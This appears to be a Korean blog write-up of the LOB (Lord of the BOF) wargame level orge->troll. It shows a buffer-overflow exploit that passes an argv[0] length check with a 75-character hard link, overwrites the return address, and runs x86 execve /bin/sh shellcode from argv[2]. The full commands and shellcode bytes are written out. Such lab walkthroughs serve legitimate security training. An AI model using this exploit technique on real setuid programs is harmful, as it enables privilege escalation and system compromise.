argv[0]의 길이가 77자여야된다는 조건이 추가됬는데 링크로 해결가능하다고 한다.
링크로 파일을 만들때는 75글자여야한다.(맨앞의 ./포함해서 77자라네요.)
일단 예시로 75글자짜리 파일 아무거나 하나 만든다.
ex) gcc org1.c -o `python -c 'print "a"*75'`
그리고 이걸 이용해서
./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
처럼 앞문제와 같이 argv[2]에 공격하는 방식으로 argv[2]의 주소를 알아낸다. (0xbffffbcc 출력됨.)
이제 다시 aa~파일을 지운다.
ln orge `python -c 'print "a"*75'` 처럼 orge파일을 a75개짜리로 링크를 걸면 aaaa파일이 다시 생긴다. 이제 아까 얻은 리턴주소(0xbffffbcc)로 공격
./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*44+"\xcc\xfb\xff\xbf"'` `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
'systemhacking > practice' 카테고리의 다른 글
lob vampire->skeleton (0) | 2015.01.17 |
---|---|
lob orge->troll (0) | 2015.01.15 |
lob wolfman->darkelf (0) | 2015.01.05 |
lob goblin->orc (0) | 2015.01.04 |
lob gate->gremlin (0) | 2014.12.30 |